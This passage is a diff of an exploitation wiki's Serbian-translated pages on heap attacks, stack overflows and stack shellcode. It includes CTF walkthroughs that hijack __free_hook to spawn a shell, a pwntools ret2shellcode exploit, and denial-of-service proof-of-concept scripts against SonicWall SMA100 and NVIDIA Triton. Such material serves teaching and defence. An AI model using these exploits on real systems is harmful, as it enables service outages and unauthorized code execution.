zapravo imati **`fd`** i **`bk`** linkove **koji pokazuju na deo main arena (Glibc)**.\ +Dakle, ako možete **staviti chunk u unsorted bin i pročitati ga** (use after free) ili **ponovo ga alocirati bez prepisivanja bar jednog od pokazivača** i onda ga **pročitati**, možete dobiti **Glibc info leak**. -A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\ -Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked. +Sličan [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) je iskorišćavao strukturu od 4 chunka (A, B, C i D - D je samo da spreči konsolidaciju sa top chunk-om) tako da je null byte overflow u B iskorišćen da natera C da indikuje da je B neiskorišćen. Takođe, u B je polje `prev_size` izmenjeno tako da veličina, umesto da bude veličina B, postane A+B.\ +Zatim je C deallocated i konsolidovan sa A+B (dok je B i dalje bio u upotrebi). Novi chunk veličine A je alociran i onda su libc leaked addresses upisane u B odakle je izvršen leak. -## References & Other examples +## Reference i drugi primeri - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) -- Cilj је prepisati globalnu promenljivu са вредношћу већом од 4869 тако да је могуће добити flag и PIE није омогућен. -- Moguće је генерисати chunke произвољних величина и постоји heap overflow тражене величине. -- Напад почиње креирањем 3 chunka: chunk0 за злоупотребу overflow-а, chunk1 који ће бити overflow-ован и chunk2 да top chunk не консолидује претходне. -- Затим је chunk1 freed и chunk0 је overflow-ован тако да `bk` pointer chunk1 показује на: `bk = magic - 0x10` -- Затим се алоцира chunk3 исте величине као chunk1, што ће покренути unsorted bin attack и измењити вредност глобалне променљиве, омогућавајући добијање flag-а. +- Cilj je prepisati globalnu promenljivu sa vrednošću većom od 4869 kako bi bilo moguće dobiti flag i PIE nije omogućen. +- Moguće je generisati chunk-ove proizvoljne veličine i postoji heap overflow odgovarajuće veličine. +- Napad počinje kreiranjem 3 chunka: chunk0 da se iskoristi overflow, chunk1 koji će biti overflow-ovan i chunk2 da top chunk ne konsoliduje prethodne. +- Zatim se chunk1 oslobodi i chunk0 se overflow-uje tako da `bk` pokazivač chunk1 pokazuje na: `bk = magic - 0x10` +- Zatim se alocira chunk3 iste veličine kao chunk1, što će pokrenuti unsorted bin attack i izmeniti vrednost globalne promenljive, čime postaje moguće dobiti flag. - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) -- merge функција је ranjiva јер ако су оба prosleđena index-а иста, она ће uraditi realloc на њему па затим free-овати, али вратити pointer на тај freed region који се може искористити. -- Због тога се креирају **2 chunka**: **chunk0** који ће бити merged са собом и chunk1 да спречи консолидовање са top chunk-ом. Затим се **merge функција позива са chunk0** два пута што ће изазвати use after free. -- Затим се позива **`view`** функция са index-ом 2 (што је index use-after-free chunka), која ће **leak a libc address**. -- Како бинарани има заштите да malloc-ује само величине веће од **`global_max_fast`** па се не користи fastbin, користи се unsorted bin attack да препише глобалну променљиву `global_max_fast`. -- Затим је могуће позвати edit функцију са index-ом 2 (use-after-free pointer) и преписати `bk` pointer да показује на `p64(global_max_fast-0x10)`. Након тога, креирање новог chunka ће користити раније kompromitovan free address (0x20) и **trigger the unsorted bin attack**, преписујући `global_max_fast` великом вредношћу, што омогућава сада креирање chunk-ова у fast bin-овима. -- Now a **fast bin attack** is performed: -- Pre svega, откривено је да је могуће радити са fast **chunk-ovima величине 200** на локацији **`__free_hook`**: +- Merge funkcija je ranjiva zato što, ako su oba prosleđena indeksa ista, izvrši realloc na tom regionu i potom ga free-uje, ali vrati pokazivač na to oslobođeno područje koji se može iskoristiti. +- Dakle, **kreiraju se 2 chunka**: **chunk0** koji će biti merged sa samim sobom i chunk1 da spreči konsolidaciju sa top chunk-om. Zatim se **merge funkcija poziva sa chunk0** dva puta što će prouzrokovati use after free. +- Zatim se poziva **`view`** funkcija sa indeksom 2 (koji je indeks use after free chunka), što će **leak a libc address**. +- Pošto binarni ima zaštite koje dozvoljavaju malloc samo za veličine veće od **`global_max_fast`** pa se ne koriste fastbin-ovi, koristiće se unsorted bin attack da se prepiše globalna promenljiva `global_max_fast`. +- Zatim je moguće pozvati edit funkciju sa indeksom 2 (use after free pokazivač) i prepisati `bk` pokazivač da pokazuje na `p64(global_max_fast-0x10)`. Kreiranje novog chunka će koristiti prethodno kompromitovanu free adresu (0x20) i to će **pokrenuti unsorted bin attack** koji prepisuje `global_max_fast` velikom vrednošću, omogućavajući sada kreiranje chunk-ova u fast bin-ovima. +- Sada se izvodi **fast bin attack**: +- Pre svega, otkriveno je da je moguće raditi sa fast **chunk-ovima veličine 0x200** na lokaciji **`__free_hook`**: - 
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -115,20 +115,20 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-- Ако успемо да добијемо fast chunk величине 0x200 у овој локацији, биће могуће преписати функцијски показивач који ће бити извршен. -- За ово се креира нови chunk величине `0xfc` и merge функција се позива са тим pointer-ом два пута, на тај начин добијамо pointer на freed chunk величине `0xfc*2 = 0x1f8` у fast bin-у. -- Затим се на том chunку позива edit функција да модификује **`fd`** адресу овог fast bin-а тако да показује на претходни **`__free_hook`**. -- Затим се креира chunk величине `0x1f8` да би се из fast bin-а извукao претходни бескорисни chunk, па се још један chunk исте величине креира да би се добио fast bin chunk на месту **`__free_hook`** који се преписује адресом функције **`system`**. -- И на крају, chunk који садржи string `/bin/sh\x00` се free-ује позивом delete функције, што trigger-ује **`__free_hook`** функцију која сада показује на system са `/bin/sh\x00` као параметром. +- Ako uspemo da dobijemo fast chunk veličine 0x200 na toj lokaciji, biće moguće prepisati funkcioni pokazivač koji će biti izvršen. +- Za ovo se kreira novi chunk veličine `0xfc` i merge funkcija se poziva sa tim pokazivačem dva puta; na taj način dobijamo pokazivač na oslobođeni chunk veličine `0xfc*2 = 0x1f8` u fast bin-u. +- Zatim se na tom chunku poziva edit funkcija da izmeni adresu **`fd`** ovog fast bina tako da pokazuje na prethodnu lokaciju **`__free_hook`**. +- Zatim se kreira chunk veličine `0x1f8` da se iz fast bin-a izuzme prethodni beskorisni chunk, pa se još jedan chunk veličine `0x1f8` kreira da bi se dobio fast bin chunk u **`__free_hook`**, koji se prepisuje adresom funkcije **`system`**. +- I na kraju, chunk koji sadrži string `/bin/sh\x00` se free-uje pozivom delete funkcije, što pokreće **`__free_hook`** funkciju koja sada pokazuje na system sa `/bin/sh\x00` kao argumentom. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) -- Joш један пример злоупотребе 1B overflow-а да се консолидују chunk-ови у unsorted bin и добије libc infoleak, а затим изврши fast bin attack да се overwrite-у malloc hook са one gadget адресом +- Još jedan primer zloupotrebe 1B overflow-a da se konsoliduju chunk-ovi u unsorted bin i dobiju libc infoleak, a zatim izvede fast bin attack da se overwrite-uje malloc hook jednim gadgetom. - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) -- Можемо алоцирати само chunke величине веће од `0x100`. -- Препиши `global_max_fast` коришћењем Unsorted Bin attack (ради 1/16 пута због ASLR-а, јер треба модификовати 12 битова, али морамо модификовати 16). -- Fast Bin attack да модификује глобални низ chunk-ова. Ово даје арбитрарни read/write примитив, што омогућава модификацију GOT-а и подешавање неке функције да показује на `system`. +- Mogu se alocirati samo chunk-ovi veličine veće od `0x100`. +- Prepisivanje `global_max_fast` koristeći Unsorted Bin attack (radi 1/16 puta zbog ASLR-a, zato što treba modifikovati 12 bitova, ali moramo modifikovati 16 bitova). +- Fast Bin attack da se izmeni globalni niz chunk-ova. Ovo daje arbitrarni read/write primitiv, koji omogućava izmenu GOT-a i postavljanje neke funkcije da pokazuje na `system`. -## References +## Reference -- Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c -- `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c +- Glibc malloc unsorted-bin integrity checks (primer u 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c +- `global_max_fast` i srodne definicije u modernom glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 05ea2e8be..8d047452d 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,13 +4,13 @@ ## Šta je Stack Overflow -A **stack overflow** je ranjivost koja nastaje kada program upiše više podataka na stack nego što mu je dodeljeno da zadrži. Ovi suvišni podaci će **prepisati susedni memorijski prostor**, što dovodi do korupcije validnih podataka, ometanja kontrolnog toka i potencijalno izvršavanja zlonamernog koda. Ovaj problem često nastaje zbog upotrebe nesigurnih funkcija koje ne vrše proveru granica na ulazu. +**stack overflow** je ranjivost koja nastaje kada program upiše više podataka na stack nego što je za to alocirano. Ovaj višak podataka će **prepisati susedni memorijski prostor**, što dovodi do korupcije validnih podataka, poremećaja kontrolnog toka i potencijalno izvršavanja zlonamernog koda. Ovaj problem se često javlja zbog upotrebe nesigurnih funkcija koje ne vrše proveru granica nad ulazom. -Glavni problem ove prepisivanja je što su **saved instruction pointer (EIP/RIP)** i **saved base pointer (EBP/RBP)** koji služe za vraćanje u prethodnu funkciju **smešteni na stack-u**. Dakle, napadač će moći da ih prepiše i **kontroliše tok izvršavanja programa**. +Glavni problem ovog prepisivanja je što su **sačuvani instrukcioni pokazivač (EIP/RIP)** i **sačuvani bazni pokazivač (EBP/RBP)** koji služe za povratak u prethodnu funkciju **smešteni na stacku**. Dakle, napadač će moći da ih prepiše i **kontroliše tok izvršavanja programa**. -Ranjivost obično nastaje zato što funkcija **kopira unutar stack-a više bajtova nego što je za njega dodeljeno**, čime može prepisati druge delove stack-a. +Ranjivost se obično pojavljuje zato što funkcija **kopira na stack više bajtova nego što je za to alocirano**, omogućavajući time prepisivanje drugih delova stacka. -Neke uobičajene funkcije koje su ranjive su: **`strcpy`, `strcat`, `sprintf`, `gets`**... Takođe, funkcije poput **`fgets`**, **`read`** i **`memcpy`** koje primaju argument za dužinu, mogu biti korišćene na ranjiv način ako je navedena dužina veća od dodeljene. +Neke uobičajene funkcije koje su ranjive na ovo su: **`strcpy`, `strcat`, `sprintf`, `gets`**... Takođe, funkcije poput **`fgets`**, **`read`** i **`memcpy`** koje prihvataju **argument dužine**, mogu biti korišćene na ranjiv način ako je navedena dužina veća od alocirane. Na primer, sledeće funkcije mogu biti ranjive: ```c @@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` -### Finding Stack Overflows offsets +### Pronalaženje offseta za Stack Overflows -Najčešći način da se otkriju stack overflows je da se pošalje veoma veliki ulaz sastavljen od `A` karaktera (npr. `python3 -c 'print("A"*1000)'`) i očekuje `Segmentation Fault` koji pokazuje da je pokušano pristupiti adresi **`0x41414141`**. +Najčešći način da se otkriju stack overflows je da se unese veoma veliki ulaz sastavljen od `A`s (npr. `python3 -c 'print("A"*1000)'`) i očekuje `Segmentation Fault` koji ukazuje da je **pokušano pristupiti adresi `0x41414141`**. -Pored toga, kada utvrdite da postoji Stack Overflow vulnerability, potrebno je pronaći offset do tačke kada je moguće **overwrite the return address**; za ovo se obično koristi **De Bruijn sequence.** Za dato alfabet veličine _k_ i podnizove dužine _n_, to je **ciklična sekvenca u kojoj se svaki mogući podniz dužine _n_ pojavljuje tačno jednom** kao kontinualni podniz. +Pored toga, kada utvrdite da postoji Stack Overflow ranjivost, moraćete da pronađete offset do trenutka kada je moguće **overwrite the return address**; za to se obično koristi **De Bruijn sequence.** Za zadati alfabet veličine _k_ i podnizove dužine _n_, to je **ciklični niz u kojem se svaki mogući podniz dužine _n_ pojavljuje tačno jednom** kao kontinualni podniz. -Na ovaj način, umesto da ručno utvrđujete koji offset je potreban da biste kontrolisali EIP, moguće je kao padding koristiti jednu od ovih sekvenci, a zatim naći offset bajtova koji su je prepisali. +Na ovaj način, umesto da ručno pokušavate da odredite koji offset je potreban za kontrolu EIP-a, moguće je koristiti kao padding jedan od ovih nizova i zatim pronaći offset bajtova koji su završili overwriting it. Moguće je koristiti **pwntools** za ovo: ```python @@ -48,16 +48,16 @@ pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` -## Exploiting Stack Overflows +## Eksploatacija Stack Overflows -Tokom overflow-a (pretpostavljajući da je veličina overflow-a dovoljna) bićete u mogućnosti da **overwrite** vrednosti lokalnih promenljivih na steku sve dok ne dođete do sačuvanih **EBP/RBP and EIP/RIP (or even more)**.\ -Najčešći način zloupotrebe ove vrste ranjivosti je **modifying the return address** tako da kada funkcija završi, **control flow will be redirected wherever the user specified** u ovom pointeru. +Tokom overflow-a (pod pretpostavkom da je veličina overflow-a dovoljno velika) moći ćete da **prepišete** vrednosti lokalnih varijabli unutar stack-a sve dok ne dođete do sačuvanih **EBP/RBP i EIP/RIP (ili čak i više)**.\ +Najčešći način zloupotrebe ove vrste ranjivosti je **izmena return address-a** tako da kada funkcija završi **tok izvršavanja bude preusmeren tamo gde je napadač odredio** u ovom pokazivaču. -Međutim, u drugim scenarijima možda će biti dovoljno samo **overwriting some variables values in the stack** da bi se izvršila eksploatacija (kao u easy CTF challenges). +Međutim, u drugim scenarijima možda je dovoljno samo **prepisati vrednosti nekih promenljivih na stack-u** za eksploataciju (npr. u lakim CTF izazovima). ### Ret2win -U ovom tipu CTF challenges postoji **function** **inside** binarnog fajla koja se **never called** i koju **you need to call in order to win**. Za ove izazove potrebno je samo da pronađete **offset to overwrite the return address** i **find the address of the function** koju treba pozvati (obično [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) would be disabled) tako da kada ranjiva funkcija vrati, sakrivena funkcija bude pozvana: +U ovom tipu CTF izazova, u binarnom fajlu postoji **funkcija** koja se nikada ne poziva, a koju **morate pozvati da biste pobedili**. Za ove izazove potrebno je samo pronaći **offset za prepisivanje return address-a** i **adresu funkcije** koju treba pozvati (obično je [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) onemogućen) tako da kada ranjiva funkcija vrati kontrolu, skrivena funkcija bude pozvana: {{#ref}} @@ -66,7 +66,7 @@ ret2win/ ### Stack Shellcode -U ovom scenariju napadač može postaviti shellcode na stek i iskoristiti kontrolisani EIP/RIP da skoči na shellcode i execute arbitrary code: +U ovom scenariju napadač može postaviti shellcode u stack i iskoristiti kontrolisani EIP/RIP da skoči na shellcode i izvrši proizvoljan kod: {{#ref}} @@ -75,7 +75,7 @@ stack-shellcode/ ### Windows SEH-based exploitation (nSEH/SEH) -Na 32-bit Windowsu, overflow može prepisati Structured Exception Handler (SEH) lanac umesto sačuvanog return address. Eksploatacija obično zamenjuje SEH pointer sa POP POP RET gadget i koristi 4-byte nSEH polje za kratak skok koji pivotira nazad u veliki buffer gde se nalazi shellcode. Uobičajen obrazac je kratak jmp u nSEH koji dospeva na 5-byte near jmp smešten neposredno pre nSEH da bi skočio stotinama bajtova nazad do početka payload-a. +Na 32-bit Windows-u, overflow može prepisati lanac Structured Exception Handler (SEH) umesto sačuvane adrese povratka. Eksploatacija obično zamenjuje SEH pokazivač sa POP POP RET gadget-om i koristi 4-bajtno nSEH polje za kratak skok koji pivota nazad u veliki buffer gde se nalazi shellcode. Uobičajen obrazac je kratak jmp u nSEH koji se završava na 5-bajtnom near jmp-u postavljenom odmah pre nSEH da bi se skočilo stotinama bajtova nazad na početak payload-a. {{#ref}} @@ -84,7 +84,7 @@ windows-seh-overflow.md ### ROP & Ret2... techniques -Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite protiv prethodne tehnike: **No executable stack (NX)**. Takođe omogućava izvođenje više drugih tehnika (ret2lib, ret2syscall...) koje će na kraju izvršiti arbitrary commands iskorišćavanjem postojećih instrukcija u binarnom fajlu: +Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike: **No executable stack (NX)**. Takođe omogućava izvođenje više drugih tehnika (ret2lib, ret2syscall...) koje će na kraju izvršiti proizvoljne komande zloupotrebom postojećih instrukcija u binarnom fajlu: {{#ref}} @@ -93,16 +93,16 @@ Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite protiv prethodne t ## Heap Overflows -Overflow nije uvek na steku, može biti i u **heap** na primer: +Overflow nije uvek na stack-u, može biti i u **heap-u**, na primer: {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} -## Vrste zaštita +## Tipovi zaštite -Postoje različite zaštite koje pokušavaju da spreče eksploataciju ranjivosti, pogledajte ih u: +Postoji nekoliko zaštita koje pokušavaju da spreče eksploataciju ranjivosti, pogledajte ih u: {{#ref}} @@ -111,7 +111,8 @@ Postoje različite zaštite koje pokušavaju da spreče eksploataciju ranjivosti ### Real-World Example: CVE-2025-40596 (SonicWall SMA100) -Dobar primer zašto **`sscanf` should never be trusted for parsing untrusted input** pojavio se 2025. u SonicWall’s SMA100 SSL-VPN appliance. Ranjiva rutina unutar `/usr/src/EasyAccess/bin/httpd` pokušava da izvuče verziju i endpoint iz bilo kog URI koji počinje sa `/__api__/`: +Dobar primer zašto **`sscanf` nikada ne treba verovati za parsiranje nepouzdanog inputa** pojavio se 2025. u SonicWall-ovom SMA100 SSL-VPN uređaju. +Ranjiva rutina unutar `/usr/src/EasyAccess/bin/httpd` pokušava da izdvoji verziju i endpoint iz bilo kog URI koji počinje sa `/__api__/`: ```c char version[3]; char endpoint[0x800] = {0}; @@ -119,25 +120,25 @@ char endpoint[0x800] = {0}; sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` 1. Prva konverzija (`%2s`) bezbedno skladišti **dva** bajta u `version` (npr. `"v1"`). -2. Druga konverzija (`%s`) **nema specifikator dužine**, zbog čega `sscanf` nastavlja da kopira **dok se ne naiđe na prvi NUL byte**. -3. Pošto je `endpoint` smešten na **stack** i ima dužinu **0x800 bytes**, prosleđivanje puta dužeg od 0x800 bytes korumpira sve što se nalazi nakon buffer‑a ‑ uključujući **stack canary** i **saved return address**. +2. Druga konverzija (`%s`) **nema specifikator dužine**, zato će `sscanf` nastaviti da kopira **dok ne naiđe na prvi NUL byte**. +3. Pošto je `endpoint` smešten na **stack** i ima **0x800 bytes**, prosleđivanje puta dužeg od 0x800 bytes korumpira sve što se nalazi posle buffer‑a — uključujući **stack canary** i **saved return address**. -Jedna single-line proof-of-concept je dovoljna da izazove pad **pre autentifikacije**: +Jednolinijski proof-of-concept je dovoljan da izazove pad **pre autentifikacije**: ```python import requests, warnings warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -Iako stack canaries prekinu proces, napadač i dalje stiče **Denial-of-Service** primitiv (i, uz dodatne information leaks, moguće code-execution). Lekcija je jednostavna: +Iako stack canaries abort the process, napadač i dalje dobija **Denial-of-Service** primitiv (i, sa dodatnim information leaks, moguće code-execution). Lekcija je jednostavna: -* Uvek navedite **maksimalnu širinu polja** (npr. `%511s`). -* Preferirajte bezbednije alternative kao što su `snprintf`/`strncpy_s`. +* Uvek obezbedite **maksimalnu širinu polja** (npr. `%511s`). +* Preferirajte sigurnije alternative kao što su `snprintf`/`strncpy_s`. -### Stvarni primer: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) +### Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) -NVIDIA Triton Inference Server (≤ v25.06) je sadržao više **stack-based overflows** dostupnih preko njegovog HTTP API-ja. -Ranjivi obrazac se više puta pojavljivao u `http_server.cc` i `sagemaker_server.cc`: +NVIDIA’s Triton Inference Server (≤ v25.06) je sadržao više **stack-based overflows** dostupnih preko njegovog HTTP API. +Ranjivi obrazac se ponavljao u `http_server.cc` i `sagemaker_server.cc`: ```c int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); if (n > 0) { @@ -147,9 +148,9 @@ alloca(sizeof(struct evbuffer_iovec) * n); ... } ``` -1. `evbuffer_peek` (libevent) vraća **broj unutrašnjih buffer segmenata** koji čine trenutni HTTP request body. -2. Svaki segment uzrokuje alokaciju **16-byte** `evbuffer_iovec` na **stack** putem `alloca()` – **bez gornje granice**. -3. Zloupotrebom **HTTP _chunked transfer-encoding_**, klijent može prisiliti request da bude podeljen na **stotine hiljada 6-byte chunks** (`"1\r\nA\r\n"`). Ovo čini da se `n` neograničeno povećava dok se **stack** ne iscrpi. +1. `evbuffer_peek` (libevent) vraća **broj internih buffer segmenata** koji čine telo trenutnog HTTP zahteva. +2. Svaki segment uzrokuje da se **16-byte** `evbuffer_iovec` alocira na **stack** putem `alloca()` – **bez gornje granice**. +3. Zloupotrebom **HTTP _chunked transfer-encoding_**, klijent može primorati zahtev da bude podeljen na **stotine hiljada 6-byte chunks** (`"1\r\nA\r\n"`). To omogućava da se `n` neograničeno poveća dok se **stack** ne iscrpi. #### Dokaz koncepta (DoS) ```python @@ -175,10 +176,10 @@ s.close() if __name__ == "__main__": exploit(*sys.argv[1:]) ``` -Zahtev od ~3 MB je dovoljan da prepiše sačuvanu adresu za povratak i **crash** daemon na podrazumevanom build-u. +Zahtev od ~3 MB je dovoljan da prepiše sačuvanu povratnu adresu i **crash** daemona na podrazumevanoj kompilaciji. -#### Patch i mitigacija -Izdanje 25.07 zamenjuje nebezbednu alokaciju na steku sa **heap-backed `std::vector`** i elegantno rukuje `std::bad_alloc`: +#### Zakrpa i ublažavanje +Izdanje 25.07 zamenjuje nesigurnu alokaciju na steku sa **heap-backed `std::vector`** i elegantno obrađuje `std::bad_alloc`: ```c++ std::vector v_vec; try { @@ -189,11 +190,11 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); struct evbuffer_iovec *v = v_vec.data(); ``` Naučene lekcije: -* Nikada ne pozivati `alloca()` sa veličinama koje kontroliše napadač. -* Chunked requests mogu drastično promeniti oblik server-side buffers. -* Validirajte / ograničite svaku vrednost izvedenu iz client input *pre* nego što je upotrebite u memory allocations. +* Nikada ne pozivati `alloca()` sa veličinama koje su pod kontrolom napadača. +* Chunked requests mogu drastično promeniti oblik buffera na strani servera. +* Validirajte / ograničite svaku vrednost izvedenu iz ulaza klijenta *pre nego što* je upotrebite u memorijskim alokacijama. -## Reference +## Referencije * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) * [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/) * [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index d4fb3e485..7d86b246c 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -4,11 +4,11 @@ ## Osnovne informacije -**Stack shellcode** je tehnika koja se koristi u **binary exploitation** gde napadač upisuje shellcode na stack ranjivog programa, a zatim menja **Instruction Pointer (IP)** ili **Extended Instruction Pointer (EIP)** da pokaže na lokaciju tog shellcode-a, izazivajući njegovo izvršavanje. Ovo je klasična metoda koja se koristi za sticanje neovlašćenog pristupa ili izvršavanje proizvoljnih komandi na ciljanom sistemu. U nastavku sledi razlaganje procesa, uključujući jednostavan C primer i kako biste mogli napisati odgovarajući exploit koristeći Python sa **pwntools**. +**Stack shellcode** je tehnika koja se koristi u **binary exploitation**, gde napadač upisuje shellcode na stack ranjivog programa i zatim menja **Instruction Pointer (IP)** ili **Extended Instruction Pointer (EIP)** da pokazuje na lokaciju tog shellcode-a, što dovodi do njegovog izvršavanja. Ovo je klasična metoda koja se koristi za sticanje neautorizovanog pristupa ili izvršavanje proizvoljnih komandi na ciljanom sistemu. U nastavku je razrada procesa, uključujući jednostavan C primer i kako možete napisati odgovarajući exploit koristeći Python sa **pwntools**. -### C primer: Ranljiv program +### C primer: Ranjiv program -Počnimo sa jednostavnim primerom ranljivog C programa: +Počnimo sa jednostavnim primerom ranjivog C programa: ```c #include #include @@ -26,20 +26,20 @@ return 0; ``` Ovaj program je ranjiv na buffer overflow zbog upotrebe funkcije `gets()`. -### Kompilacija +### Compilation -Da biste kompajlirali ovaj program dok onemogućavate različite zaštite (da biste simulirali ranjivo okruženje), možete koristiti sledeću komandu: +Da biste kompajlirali ovaj program dok onemogućavate različite zaštite (kako biste simulirali ranjivo okruženje), možete koristiti sledeću komandu: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` -- `-fno-stack-protector`: Onemogućava zaštitu steka. -- `-z execstack`: Čini stek izvršnim, što je neophodno za izvršavanje shellcode-a smeštenog na steku. -- `-no-pie`: Onemogućava Position Independent Executable, što olakšava predviđanje memorijske adrese gde će se nalaziti naš shellcode. -- `-m32`: Kompajlira program kao 32-bitni izvršni fajl, često korišćen radi jednostavnosti u razvoju exploita. +- `-fno-stack-protector`: Onemogućava stack protection. +- `-z execstack`: Čini stack executable, što je neophodno za izvršavanje shellcode smeštenog na stack-u. +- `-no-pie`: Onemogućava Position Independent Executable, što olakšava predviđanje memory address gde će naš shellcode biti lociran. +- `-m32`: Kompajlira program kao 32-bit executable, često se koristi radi jednostavnosti u exploit development-u. -### Python exploit koristeći Pwntools +### Python Exploit using Pwntools -Evo kako biste mogli napisati exploit u Pythonu koristeći **pwntools** da izvedete **ret2shellcode** napad: +Evo kako možete napisati exploit u Pythonu koristeći **pwntools** da izvršite **ret2shellcode** attack: ```python from pwn import * @@ -66,28 +66,28 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` -Ovaj skript konstruiše payload koji se sastoji od **NOP slide**, **shellcode**, i potom prepisuje **EIP** adresom koja pokazuje na NOP slide, osiguravajući da se shellcode izvrši. +Ovaj skript konstruše payload koji se sastoji od **NOP slide**, **shellcode**, i zatim prepisuje **EIP** adresom koja pokazuje na NOP slide, osiguravajući da se shellcode izvrši. -The **NOP slide** (`asm('nop')`) se koristi da poveća verovatnoću da izvršavanje "slide"-uje u naš shellcode bez obzira na tačnu adresu. Podesite `p32()` argument na početnu adresu vašeg buffera plus offset da biste dospeli u NOP slide. +The **NOP slide** (`asm('nop')`) se koristi da poveća šansu da će izvršavanje "kliznuti" u naš shellcode bez obzira na tačnu adresu. Podesite argument `p32()` na početnu adresu vašeg buffera plus offset da biste sleteli u NOP slide. ## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode) -Na modernim Windows sistemima stack nije izvršiv (DEP/NX). Uobičajen način da se ipak izvrši stack-resident shellcode nakon stack BOF je izgradnja 64-bit ROP chain-a koji poziva VirtualAlloc (ili VirtualProtect) iz modula Import Address Table (IAT) da bi se regija stack-a označila kao izvršiva, a zatim se vraća u shellcode dodat nakon chain-a. +Na modernim Windows sistemima stack nije izvršan (DEP/NX). Čest način da se i dalje izvrši stack-resident shellcode nakon stack BOF je izgradnja 64-bit ROP chain-a koji poziva VirtualAlloc (ili VirtualProtect) iz module Import Address Table (IAT) da bi region stacka postao izvršan, i zatim se vraća u shellcode dodat odmah posle chain-a. Ključne tačke (Win64 calling convention): - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) -- RCX = lpAddress → izaberite adresu u trenutnom stack-u (npr. RSP) tako da novo alocirana RWX regija preklopi vaš payload -- RDX = dwSize → dovoljno velika za vaš chain + shellcode (npr. 0x1000) +- RCX = lpAddress → izaberite adresu u trenutnom stacku (npr. RSP) tako da novoalokirani RWX region preklapa vaš payload +- RDX = dwSize → dovoljno veliki za vaš chain + shellcode (npr. 0x1000) - R8 = flAllocationType = MEM_COMMIT (0x1000) - R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) -- Return direktno u shellcode postavljen odmah posle chain-a. +- Return directly into the shellcode placed right after the chain. Minimalna strategija: -1) Leak a module base (npr. preko format-string, object pointer, itd.) da biste izračunali apsolutne gadget i IAT adrese pod ASLR-om. -2) Pronađite gadget-e koji učitavaju RCX/RDX/R8/R9 (pop ili mov/xor-bazirane sekvence) i call/jmp [VirtualAlloc@IAT]. Ako nemate direktan pop r8/r9, koristite arithmetic gadget-e da sintetizujete konstante (npr. postavite r8=0 i ponovo dodajte r9=0x40 četrdeset puta da biste došli do 0x1000). -3) Postavite stage-2 shellcode odmah nakon 